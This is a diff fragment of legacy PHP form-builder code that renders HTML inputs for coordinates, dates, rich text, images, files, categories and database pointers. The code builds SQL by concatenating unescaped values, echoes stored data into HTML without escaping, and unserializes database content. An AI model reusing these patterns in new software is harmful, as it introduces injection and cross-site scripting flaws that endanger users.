+                                                       break;
+                                               
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       $out[$outcount]["value"] = $prefix.$v;
+                                                       break;
+                                               
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               
+                                               }
+                                       break;
+                                               
+                               case "lat":
+                                       $fw = 2;
+                                       if( $f[1] > 0 )
+                                               $fw = $f[1];
+       
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "TRUE":
+                                               case "UNIQUE":
+                                               case "UNIQUE_NOT_REQ":
+                                               case "FALSE":
+                                               case "DISPLAY":
+                                                       $ns = 'N';
+                                                       if( $data[$field[0]] < 0 )
+                                                               {
+                                                               $ns = 'S';
+                                                               $data[$field[0]] = -1 * $data[$field[0]];
+                                                               }
+                                                       $dv = (int) $data[$field[0]];
+                                                       $mv = ( $data[$field[0]] - $dv ) * 60;
+                                                       if( $field[3] != "DISPLAY" )
+                                                               $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" '.($ns=='N'?'SELECTED':'').'>North<OPTION VALUE="S" '.($ns=='S'?'SELECTED':'').'>South</SELECT> 
+                                                                       <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="2" ALIGN="right">&deg;
+                                                                       <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                                         else
+                                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">'
+                                                                               .sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv ); 
+                                                       break;                                          
+
+                                               case "HIDDEN":
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">';
+                                                       break;
+
+                                               case "SUPPLIED":
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+       
+                               case "lon":
+                                       $fw = 2;
+                                       if( $f[1] > 0 )
+                                               $fw = $f[1];
+       
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "TRUE":
+                                               case "UNIQUE":
+                                               case "UNIQUE_NOT_REQ":
+                                               case "FALSE":
+                                               case "DISPLAY":
+                                                       $ns = 'E';
+                                                       if( $data[$field[0]] < 0 )
+                                                               {
+                                                               $ns = 'W';
+                                                               $data[$field[0]] = -1 * $data[$field[0]];
+                                                               }
+                                                       $dv = (int) $data[$field[0]];
+                                                       $mv = ( $data[$field[0]] - $dv ) * 60;
+                                                       if( $field[3] != "DISPLAY" )
+                                                               $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" '.($ns=='W'?'SELECTED':'').'>West<OPTION VALUE="E" '.($ns=='E'?'SELECTED':'').'>East</SELECT> 
+                                                                       <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="3" ALIGN="right">&deg;
+                                                                       <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+                                                         else
+                                                               $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">'
+                                                                               .sprintf( "<NOBR>%s %d&deg; %01.".$fw."f'</NOBR>", $ns, $dv, $mv ); 
+                                                       break;                                          
+
+                                               case "HIDDEN":
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">';
+                                                       break;
+
+                                               case "SUPPLIED":
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+
+                               case "date":
+                       
+                                       $date_f = !empty( $f[1] ) ? time()-$f[1]*86400 : time() ;       // Set datestamp of first day to allow
+                                       $date_t = !empty( $f[2] ) ? time()+$f[2]*86400 : time() ;       // Set datestamp of last day to allow
+
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":                           
+                                                       $out[$outcount]["value"] = calendar_date_select( $data[$field[0]], strtotime($data[$field[0]]), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+                                                       break;
+                                               
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       $out[$outcount]["value"] = $data[$field[0]];
+                                                       break;
+                                               
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+                                       
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+
+                               case "richtext":
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       if( SI_RICHTEXT_TYPE_ENABLED )
+                                                               {
+                                                               if( !$richtext_used  )
+                                                                       {
+                                                                       include_once( SI_BASE_PATH.'/glm_apps/HTMLArea/glm_functions_support.inc' );
+                                                                       $richtext_used = TRUE;
+                                                                       }
+                                                               $ew = ( trim($f[1]) != "" ? $f[1] : SI_DEFAULT_RICHTEXT_WIDTH );
+                                                               $eh = ( trim($f[2]) != "" ? $f[2] : SI_DEFAULT_RICHTEXT_HEIGHT );
+                                                               htmlarea_add_field( $field[0], $ew, $eh );
+                                                               $out[$outcount]["value"] = '<TABLE BORDER="1" WIDTH="'.$ew.'"><TR><TD><TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.rawurldecode( $data[$field[0]] ).'</TEXTAREA></TD></TR></TABLE>';
+                                                               }
+                                                         else
+                                                               $out[$outcount]["value"] = '<TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.rawurldecode( $data[$field[0]] ).'</TEXTAREA>';
+                                                       break;
+                                                       
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       $out[$outcount]["value"] = $data[$field[0]];
+                                                       break;
+                                                       
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+
+                               case "textbox":
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       if( isset($f[1]) )
+                                                               {
+                                                               $cols = $f[1];
+                                                               $rows = $f[2];
+                                                               }
+                                                         else
+                                                               {               
+                                                               $cols = SI_DEFAULT_TEXTBOX_COLS;
+                                                               $rows = SI_DEFAULT_TEXTBOX_ROWS;
+                                                               }
+                                                       $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$cols.'" ROWS="'.$rows.'">'.$data[$field[0]].'</TEXTAREA>';
+                                                       break;
+                                                       
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       $out[$outcount]["value"] = rawurldecode( $data[$field[0]] );
+                                                       break;
+                                                       
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+                                               
+                               case "multifield":              // NOT TESTED  multitext.numb_fields.new_line_string
+                               
+                                               // THIS FIELD TYPE REQUIRES java_functions.js
+       
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $out[$outcount]["value"] = '<input type="hidden" name="'.$field[0].'_text" id="'.$field[0].'_text" value="'.$f[2].'">
+                                                                                                               <span id="'.$field[0].'_fields">';
+                                                       
+                                                               // If there's data, then build existing input lines with data
+                                                       if( ( $x = trim($data[$field[0]]) ) != '' )
+                                                               {
+                                                               $field_data = unserialize( $data[$field[0]] );
+
+                                                               if( $field_data != false && is_array( $field_data ) )
+                                                                       {                                                                               
+                                                                               // For each line of inputs
+                                                                       for( $i=1 ; $i<=count($field_data) ; $i++ )
+                                                                               {
+                                                                               $f_line = str_replace( '{line_numb}', $i, $f[2] );              // Set line number in output text
+                                                                                       // For each input field on the line
+                                                                               for( $j=1 ; $j<=$f[1] ; $j++ )
+                                                                                       $f_line = str_replace( '{field_'.($j).'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="'.$field_data[$i-1][$j-1].'" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+                                                                               
+                                                                               $out[$outcount]["value"] .= $f_line."\n";
+                                                                               }
+                                                                       }
+
+                                                               }
+                                                         else
+                                                               $i = 1;         // If no data blank line is #1
+
+                                                               // Build 1 spare input line
+                                                       $f_line = str_replace( '{line_numb}', $i, $f[2] );              // Set line number in output text
+                                                       for( $j=1 ; $j<=$f[1] ; $j++ )
+                                                               $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+                                                       $out[$outcount]["value"] .= $f_line."\n</span>";
+
+                                                       break;
+                                       
+                                               case "HIDDEN":
+                                               case "DISLPLAY":
+                                               case "SUPPLIED":
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+
+                                               }
+                                       break;
+
+                               case "image":
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $out[$outcount]["value"] = '<TABLE BORDER="1">';
+                                       
+                                                       if( $data[$field[0]] != "" )    // If an image already exists
+                                                               {
+                                                               $out[$outcount]["value"] .= '   <TR>
+                                                                               <TD VALIGN="middle"><IMG SRC="'.SI_IMG_THUMB_URL."/".$data[$field[0]].'"></TD>
+                                                                               <TD VALIGN="middle">';
+                                                       
+                                                               if( $field[3] == "TRUE" )       // If this field is required
+                                                                       $out[$outcount]["value"] .= 'This image may be replaced using the input field below.';
+                                                                   else
+                                                                       $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE"> Delete this image';
+                                               
+                                                               $out[$outcount]["value"] .= '           </TD></TR>';
+                                                               }
+                                       
+                                                       $out[$outcount]["value"] .= '           <TR>
+                                                                               <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'"></TD>
+                                                                       </TR>
+                                                               </TABLE>';
+                                                       break;
+                                       
+                                               case "HIDDEN":
+                                               case "DISLPLAY":
+                                                       $out[$outcount]["value"] = '<IMG SRC="'.SI_IMG_THUMB_URL."/".$data[$field[0]].'">';
+                                                       break;
+                                               
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+
+                                               }
+                                       break;
+
+                               case "multitext":               // NOT TESTED  multitext.{size}.{spares}
+                               
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $out[$outcount]["value"] = '';
+                                                       $txt_num = 0;
+
+                                                       if( ( $x = trim($data[$field[0]]) ) != '' )
+                                                               {
+                                                               $txt_data = unserialize( $data[$field[0]] );
+                                                                       
+                                                                       // Do existing images
+       
+                                                               foreach( $txt_data as $txt )
+                                                                       {
+                                                                       $out[$outcount]["value"] .= '#'.($txt_num+1).'&nbsp;<INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$f[1].'" VALUE="'.$txt_data[$txt_num].'"><BR>';
+                                                                       $im_num++;
+                                                                       }
+                                                               }
+                                                       
+                                                       if( empty($f[1]) )
+                                                               $spare = 2;
+                                                         else
+                                                               $spare = $f[2];
+                                                       for( $i=0 ; $i<$spare ; $i++ )
+                                                               {
+                                                               $out[$outcount]["value"] .= '#'.($txt_num+1).'&nbsp;<INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$f[1].'" VALUE="'.$txt_data[$txt_num].'"><BR>';
+                                                               $im_num++;
+                                                               }                                                       
+                                                       break;
+                                       
+                                               case "HIDDEN":
+                                               case "DISLPLAY":
+                                               case "SUPPLIED":
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+
+                                               }
+                                       break;
+
+                               case "images":
+                               
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $out[$outcount]["value"] = '';
+                                                       $im_num = 0;
+
+                                                       if( ( $x = trim($data[$field[0]]) ) != '' )
+                                                               {
+                                                               $im_data = unserialize( $data[$field[0]] );
+                                                               $im_des = strstr( $f[2], 'descr' );
+                                                               $im_align = strstr( $f[2], 'align' );
+                                                               $im_size = strstr( $f[2], 'size' );
+                                                               if( !empty( $f[3] ) )
+                                                                       $im_des_s = $f[3];
+                                                                 else
+                                                                       $im_des_s = 40;
+                                                               if( !empty( $f[4] ) )
+                                                                       $im_des_t = $f[4];
+                                                                 else
+                                                                       $im_des_t = "Text";
+                                                                       
+                                                                       // Do existing images
+       
+                                                               foreach( $im_data as $im )
+                                                                       {
+                                                                       $out[$outcount]["value"] .= '
+                                                                               Image #'.($im_num+1).'<BR>
+                                                                               <TABLE BORDER="1">
+                                                                                       <TR>
+                                                                                               <TD VALIGN="middle"><IMG SRC="'.SI_IMG_THUMB_URL."/".$im_data[$im_num]['filename'].'"></TD>
+                                                                                               <TD VALIGN="middle">
+                                                                                                       This image may be replaced using the input field below.<BR>
+                                                                                                       Or you may <INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE['.$im_num.']"> Delete this image.
+                                                                                                       <P>
+                                                                                               '.( $im_align ? ' 
+                                                                                                       Align image 
+                                                                                                       <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+                                                                                                               <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+                                                                                                               <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+                                                                                                               <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
+                                                                                                               <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+                                                                                                               <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+                                                                                                       </SELECT>
+                                                                                                       ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+                                                                                               '.( $im_size ? ' 
+                                                                                                       Size
+                                                                                                       <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+                                                                                                               <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+                                                                                                               <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+                                                                                                               <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+                                                                                                               <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+                                                                                                       </SELECT>
+                                                                                                       ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+                                                                                               </TD>
+                                                                                       </TR>
+                                                                                       <TR>
+                                                                                               <TD COLSPAN="2" VALIGN="middle">Select Image <INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']"></TD>
+                                                                                       </TR>
+                                                                                       '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'" VALUE="'.$im_data[$im_num]['descr'].'"></TD>' : '' ).'
+                                                                                </TABLE>
+                                                                                <BR>';
+                                                                       $im_num++;
+                                                                       }
+                                                               }
+                                                       
+                                                       if( empty($f[1]) )
+                                                               $spare = 2;
+                                                         else
+                                                               $spare = $f[1];                                                                 
+                                                       for( $i=0 ; $i<$spare ; $i++ )
+                                                               {
+                                                               $out[$outcount]["value"] .= '
+                                                                       Image #'.($im_num+1).'<BR>
+                                                                       <TABLE BORDER="1">
+                                                                               <TR>
+                                                                                       <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']">
+                                                                                               '.( $im_align ? ' 
+                                                                                                       Align image <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+                                                                                                               <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+                                                                                                               <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+                                                                                                               <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
+                                                                                                               <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+                                                                                                               <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+                                                                                                       </SELECT>
+                                                                                                       ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+                                                                                               '.( $im_align ? ' 
+                                                                                                       Size
+                                                                                                       <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+                                                                                                               <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+                                                                                                               <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+                                                                                                               <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+                                                                                                               <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+                                                                                                       </SELECT>
+                                                                                                       ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+                                                                                               </TD>                                                                                   
+                                                                               </TR>
+                                                                               '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'"></TD>' : '' ).'
+                                                                        </TABLE>
+                                                                        <BR>';
+                                                               $im_num++;      
+                                                               }                                                       
+                                                       break;
+                                       
+                                               case "HIDDEN":
+                                               case "DISLPLAY":
+                                               case "SUPPLIED":
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+
+                                               }
+                                       break;
+
+                               case "file":
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $out[$outcount]["value"] = '<TABLE BORDER="1">';
+                                       
+                                                       if( $data[$field[0]] != "" )    // If a file already exists
+                                                               {
+                                                               $out[$outcount]["value"] .= '   <TR>
+                                                                               <TD VALIGN="middle">
+                                                                       ';
+                                                               if( ereg( 'secure', $f[2] ) )
+                                                                       {
+                                                                       if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+                                                                               {
+                                                                               echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+                                                                                               SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+                                                                               exit;   
+                                                                               }
+                                                                       $file_md5 = md5( $data[$field[0]].SI_FILE_SECRET );
+                                                                       $out[$outcount]["value"] .= '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($data[$field[0]])
+                                                                                       .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$data[$field[0]].'</A>';
+                                                                       }
+                                                                 else
+                                                                       $out[$outcount]["value"] .= '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+
+                                                               $out[$outcount]["value"] .= '</TD>
+                                                                               <TD VALIGN="middle">';
+                                                       
+                                                               if( $field[3] == "TRUE" )       // If this field is required
+                                                                       $out[$outcount]["value"] .= 'This file may be replaced using the input field below.';
+                                                                   else
+                                                                       $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE"> Delete this file';
+                                               
+                                                               $out[$outcount]["value"] .= '           </TD></TR>';
+                                                               }
+                                       
+                                                       $out[$outcount]["value"] .= '           <TR>
+                                                                               <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'"></TD>
+                                                                       </TR>
+                                                               </TABLE>';
+                                                       break;
+                                       
+                                               case "HIDDEN":
+                                               case "DISLPLAY":
+                                                       $out[$outcount]["value"] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+                                                       break;
+                                               
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+
+                                               }
+                                       break;
+
+                               case "category":
+                               
+                                               // If picklist is selected - use that for selection
+                                               
+                                       if( strstr($f[3],'picklist') )
+                                               {
+                                               if( ($nodes = cat_get_nodes($f[1])) )
+                                                       {
+                                                       $out[$outcount]["value"] .= '<SELECT NAME="'.$field[0].'"><OPTION VALUE="">';
+                                                       
+                                                       reset($nodes);
+                                                       while( list($key, $val) = each($nodes) ) 
+                                                               {
+                                                               $out[$outcount]["value"] .= '<OPTION VALUE="'.$val['id'].'"'.($data[$field[0]]==$val['id']?' SELECTED':'').'>';
+                                                               if( strstr($f[3],'fullpath') )
+                                                                       $out[$outcount]["value"] .= $val['cat_fullpath'];
+                                                                 else
+                                                                       {
+                                                                       for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+                                                                               $out[$outcount]["value"] .= "&nbsp;&nbsp;&nbsp;&nbsp;";
+                                                                       $out[$outcount]["value"] .= $val['name'];
+                                                                       }
+                                                               }
+                                                       $out[$outcount]["value"] .= '</SELECT>';
+                                                       }       
+                                                 else
+                                                       $out[$outcount]["value"] .= 'No categories listed.';
+                                               }
+                                         else  // Otherwise use pop-up
+                                               {
+
+                                                       // Get the category name for this field is supplied
+                                               if( !empty($data[$field[0]]) )
+                                                       {
+                                                       if( ($cval = cat_get_node( $f[1], "id = ".$data[$field[0]] ) ) )
+                                                               {
+                                                               $cat_id = $data[$field[0]];
+                                                               if( strstr($f[3],'fullpath') )
+                                                                       $cat_name = $cval['cat_fullpath'];
+                                                                 else
+                                                                       $cat_name = $cval['cat_name'];
+                                                               }
+                                                       }
+                                                 else
+                                                       {
+                                                       $cat_id = 0;
+                                                       $cat_name = "&nbsp;&nbsp;&nbsp;";
+                                                       }
+                                                       
+                                               $pop_width = !empty($f[4]) ? $f[4] : 200 ;
+                                               $pop_height = !empty($f[5]) ? $f[5] : 300 ;
+                                               $edit_width = !empty($f[6]) ? $f[6] : 400 ;
+                                               $edit_height = !empty($f[7]) ? $f[7] : 500 ;                            
+
+                                               $out[$outcount]["value"] .= "
+                                                         <script language=\"JavaScript1.2\">
+                                                               <!--
+                                                                       function category_select_popup_".$field[0]."( target )
+                                                                               {
+                                                                                       // Pass values to the calendar
+                                                                                       
+                                                                               tempX = 400;
+                                                                               tempY = 300;
+                                                                               
+                                                                               node_id = this.document.getElementById( target ).value;
+                                                                               var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$field[0]."&table=".$f[1]."&options=".urlencode($f[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."&ref_id=".$id."';
+                                                                       
+                                                                               tempX = tempX - 90;
+                                                                               //tempY = tempY - 170;
+                                                                               
+                                                                       if (navigator.appName == 'Netscape')
+                                                                                       {
+                                                                               CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+                                                                       }
+                                                                                 else
+                                                                                       {
+                                                                       CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+                                                                       }
+                                               
+                                                                               CategoryWind.focus();                           
+                                                                               }
+                                                               -->
+                                                         </script>
+                                                       ";
+                                                       
+                                               $out[$outcount]["value"] .= '<INPUT TYPE="text" NAME="'.$field[0].'_NAME" ID="'.$field[0].'_NAME" VALUE="'.$cat_name.'" READONLY="readonly" SIZE="'.$f[2].'" STYLE="background-color: #eeeeee;">
+                                                                                                        <INPUT TYPE="hidden" NAME="'.$field[0].'" ID="'.$field[0].'" VALUE="'.$cat_id.'">
+                                                                                                        <A HREF="javascript:category_select_popup_'.$field[0].'(\''.$field[0].'\')">[Change]</A>
+                                                                                                       ';
+                                               }
+                                                               
+                                       break;
+                               
+
+                               case "pointer":
+
+                                               // If {value_field} supplied use that, otherwise use id of record as VALUE
+                                       $value_field = !empty($f[3]) ? $f[3] : "id" ;
+
+                                               // If {where} supplied use that, otherwise get all possibilities from other table
+                                       $w = !empty($f[4]) ? " WHERE ".$f[4] : "" ;
+
+                                               // If picklist options
+                                       $p = !empty($f[5]) ? $f[5] : "" ;
+                                       
+                                               // Sort order
+                                               
+                                       $s = !empty($f[6]) ? $f[6] : "id" ;
+
+                                               // Pointer options
+       
+                                       $pointer_option_add_field = FALSE;
+                                       if( ! empty($f[7]) )
+                                               {
+                                               $option_table = explode_trim( ",", $f[7] );
+                                               foreach( $option_table as $option )
+                                                       {
+                                                       switch( $option )
+                                                               {
+                                                               case "add_field":                                               // Option to display a field for entering a new target
+                                                                       $pointer_option_add_field = TRUE;
+                                                                       break;
+                                                                       
+                                                               default:
+                                                                       break;
+                                                               }
+                                                       }
+                                               }
+
+                                       switch( $field[3] )
+                                               {
+
+                                               case "TRUE":
+                                               case "FALSE":
+
+                                                       $d = db_auto_get_data( "SELECT * FROM  ".$f[1].$w." ORDER BY ".$s.";", $conn_str, FALSE, 500 );
+               
+                                                       if( is_array( $d ) )
+                                                               {
+                                                               unset( $da );                                   
+                                                               while( list($key, $val) = each($d) )
+                                                                       $da[$val[$value_field]] = $val[$f[2]];
+                                       
+                                                                       // If there's a supplied value, use that to match for selected
+       
+                                                               if( !empty($field[4]) )
+                                                                       $z = $GLOBALS[$field[4]];
+                                                                 else
+                                                                       $z = $data[$field[0]];
+                                                                       
+                                                               $out[$outcount]["value"] = build_picklist( $field[0], $da, $data[$field[0]], "standard", $p );
+                                                               }
+                                                         else
+                                                               $out[$outcount]["value"] = '(no values available)'; 
+                                                               
+                                                               // Provide an additional input field to permit adding a new target value
+
+                                                       if( $pointer_option_add_field )
+                                                               $out[$outcount]["value"] .= '<NOBR> or add new value <INPUT TYPE="text" NAME="'.$field[0].'_add_field"></NOBR>';        
+
+                                                       break;
+
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       
+                                                               // Get specific data requested
+
+                                                       if( !empty($data[$field[0]]) && ($d = db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE id = ".$data[$field[0]]." ORDER BY ".$s.";", 0, $conn_str, $fail_mode  )) )
+                                                               $out[$outcount]["value"] = $d[$f[2]];
+                                                                                               
+                                                       break;
+
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               
+                                               
+                                               }
+                                       break;
+
+                               case "checkbox":
+
+                                               // Check for null value 
+                                               
+                                       if( empty($data[$field[0]]) )
+                                               $data[$field[0]] = "f";
+
+                                       switch( $field[3] )     // {required} setting
+                                               {
+
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       $x = $data[$field[0]] == "t" ? " CHECKED" : "";
+                                                       $out[$outcount]["value"] = '<INPUT TYPE="checkbox" NAME="'.$field[0].'"'.$x.'>';
+                                                       break;
+
+                                               case "HIDDEN":
+                                               case "DISPLAY":
+                                                       $x = $data[$field[0]] == "t" ? "Yes" : "No";
+                                                       $out[$outcount]["value"] = $x;
+                                                       break;
+
+                                               case "SUPPLIED":
+                                                       $out[$outcount]["value"] = "";
+                                                       break;
+                                               
+                                               default:
+                                                       $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                                       break;
+                                               }
+                                       break;
+                       
+                               case "bitmap":
+                                       $bmap = explode_trim( "~", $f[1] );
+                                       $out[$outcount]["value"] = "";
+                                       switch( $field[3] )     // {required} setting
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                                       for( $i=0 ; $i<count($bmap) ; $i++ )
+                                                               if( $bmap[$i] != '' )
+                                                                       {
+                                                                       $x = $data[$field[0]] & pow( 2, $i ) ? " CHECKED" : "";         // Check if this bit set
+                                                                       $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0]."[$i]".'"'.$x.'>'.$bmap[$i].'<BR>';
+                                                                       }
+                                                       break;
+
+                                               case "HIDDEN":
